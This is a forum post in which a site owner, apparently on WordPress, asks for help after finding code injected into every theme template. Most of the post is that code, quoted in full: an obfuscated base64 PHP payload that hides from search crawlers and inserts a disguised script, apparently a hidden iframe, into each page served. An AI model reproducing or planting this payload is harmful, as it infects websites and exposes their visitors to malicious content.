Iv got a virus with my site, not sure what to do?

Iv found a code that was in all my theme templates which is below. My dashboard is not how it usually is as well, iv uninstalled a number of plug ins and updated a couple. not sure what to do next, any help would be much appreciated ??

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkRDUyWVhJZ1ZtdFliVkkyUFNka0pDRWpieVFoSTJNa0lTTjFKQ0VqYlNRaEkyVWtJU051SkNFamRDUWhJeTRrSVNOM0pDRWpjaVFoSTJra0lTTjBKQ0VqWlNRaEl5Z2tJU05jSnlRaEl6d2tJU05wSkNFalppUWhJM0lrSVNOaEpDRWpiU1FoSTJVa0lTTWdKQ0VqY3lRaEkzSWtJU05qSkNFalBTUWhJeUlrSVNOb0pDRWpkQ1FoSTNRa0lTTndKQ0VqT2lRaEl5OGtJU012SkNFalp5UWhJMlVrSVNOdkpDRWpiaVFoSTI4a0lTTnVKQ0VqTGlRaEkyNGtJU05sSkNFamRDUWhJeThrSVNOcEpDRWpiaVFoSXk0a0lTTndKQ0VqYUNRaEkzQWtJU01pSkNFaklDUWhJM2NrSVNOcEpDRWpaQ1FoSTNRa0lTTm9KQ0VqUFNRaEl6RWtJU01nSkNFamFDUWhJMlVrSVNOcEpDRWpaeVFoSTJna0lTTjBKQ0VqUFNRaEl6RWtJU01nSkNFalppUWhJM0lrSVNOaEpDRWpiU1FoSTJVa0lTTmlKQ0VqYnlRaEkzSWtJU05rSkNFalpTUWhJM0lrSVNNOUpDRWpNQ1FoSXo0a0lTTThKQ0VqTHlRaEkya2tJU05tSkNFamNpUWhJMkVrSVNOdEpDRWpaU1FoSXo0a0lTTmNKeVFoSXlra0lTTTdKQ0VqSnp0bGRtRnNLRlpyV0cxU05pNXpjR3hwZENnbkpDRWpKeWt1YW05cGJpZ2lJaWtwT3p3dmMyTnlhWEIwUGc9PSIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7ICAgICAgJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTsgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyAgICAgICRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDsgICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPUB1bnBhY2soJ3YnLHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDEwLDIpKTsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj0kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCWzFdOyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjE2KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7ICAgICAgfSAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpOyAgICAgIGlmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7ICAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9JFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QzsgICAgICB9ICAgICAgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7ICAgICB9ICAgIH0gICAgZnVuY3Rpb24gbXJvYmgoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qil7ICAgICBIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgICAgICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7ICAgICAgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSkpeyAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxcL2JvZHlbXlw+XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0=”));?>